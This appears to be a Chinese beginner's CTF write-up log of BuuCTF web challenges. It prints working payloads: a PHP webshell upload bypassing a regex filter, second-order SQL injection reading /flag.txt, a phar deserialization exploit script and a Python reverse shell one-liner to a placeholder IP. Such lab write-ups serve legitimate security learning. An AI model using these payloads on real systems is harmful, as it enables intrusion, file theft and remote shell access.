BuuCTF做题记录_5

初学者的一些做题记录


[红明谷杯2021]write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){ //这东西说白了就是一层一层去检测输入的内容
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {//??表示来设置默认值,即如果不存在则设置为空
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";//同上,若不存在则设置为空
waf($data);
file_put_contents("$dir" . "index.php", $data);//将data写入dir/index.php
}
?>

代码其实很好理解,我们的输入(也可以是数组的形式)会经过check检查。检查没问题的话可以先通过/?action=pwd获得dir的值(这东西后面会去和index.php拼接组成完整路径)。然后/?action=upload&data=我们要写进去的webshell会把webshell写到路径里。

参考:https://blog.csdn.net/cjdgg/article/details/118216890

php短标签:

writeshell1

php中的“``”也可以用来执行命令:

writeshell2

/?action=pwd:

writeshell3

sandbox/c55e0cb61f7eb238df09ae30a206e5ee/

/?action=upload&data=<?=ls?>:

index.php

?action=upload&data=<?=ls%09/?>(空格用%09代替)

writeshell4

/?action=upload&data=<?=cat%09/flllllll1112222222lag?>

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

cyberpunk1

商店界面,下面还有订单管理功能:

cyberpunk2

源码中存在如下提示:

cyberpunk3

?file=,猜测GET方式给file传参。试了试/?file=flag.php没啥反应。伪协议读源码试试:

index.php?file=php://filter/convert.base64-encode/resource=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//?file=php://filter/convert.base64-encode/resource=search.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//?file=php://filter/convert.base64-encode/resource=change.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//?file=php://filter/convert.base64-encode/resource=delete.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
///?file=php://filter/convert.base64-encode/resource=config.php
?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

可以看到对用户名和电话过滤很严格而且开了/i模式。但对地址只进行了简单的转义处理:

$address = addslashes($_POST["address"]);

二次注入,参考https://www.cnblogs.com/Article-kelp/p/16052105.html

之前对于转义这个东西理解还不太好,网上找了篇文章:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//下面的SELECT语句显示了引用和转义如何工作:

mysql> SELECT 'hello', '"hello"', '""hello""', 'hel''lo', '\'hello';

+-------+---------+-----------+--------+--------+

| hello | "hello" | ""hello"" | hel'lo | 'hello |

+-------+---------+-----------+--------+--------+



mysql> SELECT "hello", "'hello'", "''hello''", "hel""lo", "\"hello";

+-------+---------+-----------+--------+--------+

| hello | 'hello' | ''hello'' | hel"lo | "hello |

+-------+---------+-----------+--------+--------+


//https://www.cnblogs.com/end/archive/2011/04/01/2002516.html

个人理解就是经过转义(增加\),一些特殊字符(比如')这东西就失去了它本身的含义,变成了某个字符串的一部分。在上面的例子我们也能知道,增加转义符后不是说我输入的数据也增加了个字符。

主要是这里存在问题:

1
2
3
4
5
6
7
8
//change.php
$address = addslashes($_POST["address"]);
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}//这里我们可以用报错注入

在注册用户的地址时时,我们可以构造恶意的SQL语句(经过转义后被放到数据库中,等着我们在修改地址时触发)。然后我们修改地址,触发刚刚构造的sql语句。

做法的话有两种,先看不利用报错直接回显的:

参考了这位师傅的解法:https://www.cnblogs.com/Article-kelp/p/16052105.html

我们先随便注册两个账户:(一个账户就行,我注册两个为了方便解释)

地址(别丢了反引号):’,address=database()#

cyberpunk7

cyber9

在修改地址时,SQL语句变成了:

$sql = “update user set address=’”.$address.”‘, old_address=’’,address=’database()’# 这后面的都没了”‘ where user_id=”.$row[‘user_id’];

旧地址为空,新地址被设置成数据库名。

但要注意由于没有限制user_id,所以user表中所有用户的地址都是数据库名。

现在我们把1的地址改成1:

cyberpunk8

提交后查询:

cyber10

可以看到地址的名字已经是库名了,现在我们在看看2的地址:

cyber11

我们并没有更改2的地址但也回显了ctfusers,其实就是刚才在修改时把user表中所有address字段的值都设置了。

后面就简单了,爆库爆表爆列爆字段,不过这题官方当时是给了hint的,就是flagflag.txt中,我们用load_file直接读/flag.txt中的内容:

cyber12

cyber13

第二种方法就是网上很多人用的,利用报错进行回显:

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

注册的时候就输入payload,然后随便修改一个对应的地址:

cyber14

查询订单订单时候查出来的其实就是我们的输入,不过因为被转义了所以没啥影响:

cyber16

[CISCN2019 华北赛区 Day1 Web1]Dropbox

提示php phar

dropbox1

先注册一个登录看看

上传功能,不过是否有过滤不清楚,我们先上传一个图片文件(只允许上传图片形式的):

dropbox4

上传后提供了下载功能,抓包看一下:

dropbox3

其实如果做这种phar的题最好能拿到源码,尝试下载upload.php看看:

(利用目录穿越多试几次)

dropbox6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
//upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

include "class.php";

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}

$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}

if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
//class.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>
//index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {//注意这里我们无法让文件名中包含flag
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
//delate.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

网盘管理界面是index.php,我们从该文件开始看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

new了一个FileList类,我们跟踪到该类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//class.php
class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

吗的看的头都大了。。

__call弄了个多维数组出来:results[$file->name()][$func],即results[文件名][函数名]=[调用结果]

遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results多维数组,接下来的_destruct函数会将FileList对象的funcs变量和results数组中的内容以HTML表格的形式输出在index.php上(我们可以知道,index.php里创建了一个FileList对象,在脚本执行完毕后触发_destruct)。

__destruct()就是把上面的多维数组遍历然后输出。

new了一个File类,我们跟踪到该类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}

注意这个close()函数:

1
2
3
public function close() {
return file_get_contents($this->filename);
}

很明显我们可以依靠 return file_get_contents($this->filename)去读flag.phpflag/txt之类的文件,(这道题是读flag.txt,为什么读这个文件可以看download.php的过滤内容。)

但注意这个函数是没回显的,我们要想办法把读到的结果回显出来,这时想到了刚才FileList下的__destruct()函数。但从Filelist类下是没法直接触发__call方法和close()的,不过:

User类下存在_destruct()方法;

1
2
3
4
 public function _destruct() {
$this->db->close();
}
// 也就是说如果db=FileList类的实例,就变成了FileList->close();

当执行FileList->close()时,因为FileList类中没有close()这个方法所以调用FileList->_call()从而遍历全文件找close()方法。找到了File->close()就执行了读取文件内容的操作file_get_contents($filename)并给他的结果返回FileList->$results,最后FileList->_destruct()方法输出了这个结果。

User中的__destruct = > FileList->close = > Filelist->__call('close') =>File->close('/flag.txt')= >$results=file_get_contents('flag.txt')=>FileList->_destruct() => echo $result

再梳理一下这个过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 public function _destruct() {
$this->db->close();
}
//这时我们可以令db = new Filelist(),变成$this->new Filelist ->close();
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
//func为close(),令$this->files[]=new File();去调用File中的close()
public function close() {
return file_get_contents($this->filename);
}
//令$this->filename = /flag.txt,结果被存到$results这个多维数组中
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
//Filelist实例化对象销毁时,触发__destruct魔术方法将结果输出

然后注意phar反序列化触发条件之一是要存在一些受影响的操作数:

dropbox14

1
2
3
4
5
6
7
8
9
    public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
//File类中的open函数,这个函数在很多地方被调用

所以存在phar反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files[]=new File();
}
}
class File {
public $filename="/flag.txt";
}
$a = new User();
$phar =new Phar("pharphar.phar");
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

最后要注意的点就是download.php下存在这么个东西:

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

dropbox11

所以反序列化要在delate.php页面下触发。

filename=phar://pharphar.jpg

picdown15

[网鼎杯 2020 白虎组]PicDown

picdown1

???

picdown2

???

随便输点东西回车,注意URL

picdown3

随便输了些网站都没啥反应,想到URL可以利用file读本地文件。。但读啥也不知道。。

参考:https://www.cnblogs.com/Article-kelp/p/16095712.html

首先得知道这题用的是python2urlliburlopen,和urllib2中的urlopen明显区别就是urllib.urlopen支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件。

比如/etc/passwd这东西算是一个文件路径而不是URL,但仍可以通过输入路径读取文件:

picdonw2

接下来就是proc目录利用,主要就是下面这些东西:

1
2
3
4
5
6
7
#参考:https://www.anquanke.com/post/id/241148
#self代替了pid,这里指的是当前运行的进程
/proc/self/cmdline 启动当前进程的完整命令
/proc/self/cwd/ 指向当前进程的运行目录
/proc/self/exe 指向启动当前进程的可执行文件
/proc/self/environ 当前进程的环境变量列表
/proc/self/fd/ 当前进程已打开文件的文件描述符

page?url=/proc/self/cmdline

picdown5

page?url=/app.py

picdown6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

主要就是/no_one_know_the_manager这个路由,它会判断传进来的key参数和静态变量SECRET_KEY是否相等,相等的话就使用os.system()方法执行传进来的shell参数(不过注意这里是没回显的)。

SECRET_KEY获取:

1
2
3
4
SECRET_FILE = "/tmp/secret.txt" 
f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件
SECRET_KEY = f.read().strip() # 读取secret.txt文件,将内容赋给SECRET_KEY
os.remove(SECRET_FILE) #删除/tmp/secret.txt文件

根据上面那篇文章可以知道:

在 linux 系统中,如果一个程序用open()打开了一个文件但最终没有关闭他,即便从外部(如os.remove(SECRET_FILE))删除这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。

/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/[pid]/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。接下来可以通过手动输或者爆破去拿数据。我很懒所以直接照着wp里的结果尝试了。。

/page?url=/proc/self/fd/3

picdown7

拿到SECRET_KEY后面就是GET传参shell

后面就是反弹shell了。。但我的VPS还没弄好所以这个坑就先留着,这里用非预期读了flag:

picdown4

2024.1.2补充:

获取密钥后反弹shell

1
/no_one_know_the_manager?key=OEv7KST0mYwp7AwYUjP3wfp13Gm/7ais0wOg150wX8I=&shell=python -c 'import socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect(("IP地址"%2C9001))%3Bos.dup2(s.fileno()%2C0)%3B os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport pty%3B pty.spawn("%2Fbin%2Fbash")'

lscat /flag就行,注意反弹命令要URL编码一下

fantanshell

[HITCON 2017]SSRFme(未做完)

hihtssrfme1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
//HTTP_X_FORWARDED_FOR可以伪造
echo $_SERVER["REMOTE_ADDR"]; //10.244.80.12

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//MD5加密
@mkdir($sandbox);//创建目录
@chdir($sandbox);//切换至目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));//把文件名中的.换成空
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__)

代码很好理解,主要有这么个东西:

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

shell_exec执行的参数是GET+url经过转义的值。。题还是做的太少了,GET命令第一次碰到,搜了搜GET命令执行漏洞

[b01lers2020]Welcome to Earth

这题页面刷新的很快就抓包看了。。

welcometoearth1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
document.onkeydown = function(event) {
event = event || window.event;
if (event.keyCode == 27) { //若按下esc
event.preventDefault();//阻止浏览器跳转到其他页面
window.location = "/chase/";//将当前页面的 URL 设置为 "/chase/",实现页面跳转到 "/chase/"
} else die();//否则调用die函数
};

function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

async function dietimer() {
await sleep(10000); //等待十秒调用die函数
die();
}

function die() {
window.location = "/die/";//页面跳转到die
}

dietimer();

我们看看chase页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

async function dietimer() {
await sleep(1000);
die();
}

function die() {
window.location = "/die/";
}

function left() {
window.location = "/die/";
}

function leftt() {
window.location = "/leftt/";
}

function right() {
window.location = "/die/";
}

dietimer();

我们跳转到leftt

welcometoearth2

跳转到/shoot/:

welcometoerath3

跳转到/door,是这么个东西:

welcometoooooooooooooooooooearth4

大致就是选择一个数字,选错了就跳转到/die/界面

一开始以为是要爆破。。但看了会儿发现不知道怎么提交的这个参数,看源码发现有这么个东西:

/static/js/door.js,访问:

1
2
3
4
5
6
7
8
9
10
11
function check_door() {
var all_radio = document.getElementById("door_form").elements;
var guess = null;

for (var i = 0; i < all_radio.length; i++)
if (all_radio[i].checked) guess = all_radio[i].value;

rand = Math.floor(Math.random() * 360);
if (rand == guess) window.location = "/open/";
else window.location = "/die/";
}

大致意思就是猜数,他这个应该没有检验啥的,我们直接跳过去open下看看:

1
2
3
4
5
6
7
8
9
10
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

function open(i) {
sleep(1).then(() => {
open(i + 1);
});
if (i == 4000000000) window.location = "/fight/";
}

直接去fight,看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {//flag会被混淆,key是混淆用的秘钥
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}

function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

// TODO: unscramble function
}

使用一个for循环来遍历密钥的每个字符。在每次迭代中,它通过key.charCodeAt(i)获取密钥字符的ASCII码,并将其与原始标志的长度取模,得到一个索引值n。然后,它使用一个临时变量temp来保存原始标志中的第i个字符。接下来,它将原始标志中的第i个字符替换为原始标志中的第n个字符,并将原始标志中的第n个字符替换为temp。这样就实现了对原始标志的混淆。

下面那个就是被打乱顺序的flag,要把它拼成正确的顺序。

pctf的话肯定放在第一位,然后就是{hey,中间不知道,结尾是ck!}

参考https://www.cnblogs.com/upfine/p/16542916.html

1
2
3
4
5
6
7
8
9
10
11
12
from itertools import permutations
import re

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
# 对flag字典里的内容进行排列组合
item = permutations(flag) #permutations函数通常用于生成给定集合的所有排列
# 遍历
for a in item:
k = ''.join(list(a))
# 匹配
if re.search('^pctf\{hey_boys[a-zA-z_]+ck!\}$', k):
print(k)

[CISCN2019 总决赛 Day2 Web1]Easyweb

ciscneasyweb1

登陆界面,先用dirsearch扫,发现存在robots.txt:

1
2
User-agent: *
Disallow: *.php.bak

不过没告诉是啥。。看下源码,注意:

ciscneasyweb3

image.php进去就是个图片,user.php进不去,回到index.php了。用这三个文件试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//image.php.bak,另外两个没有
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
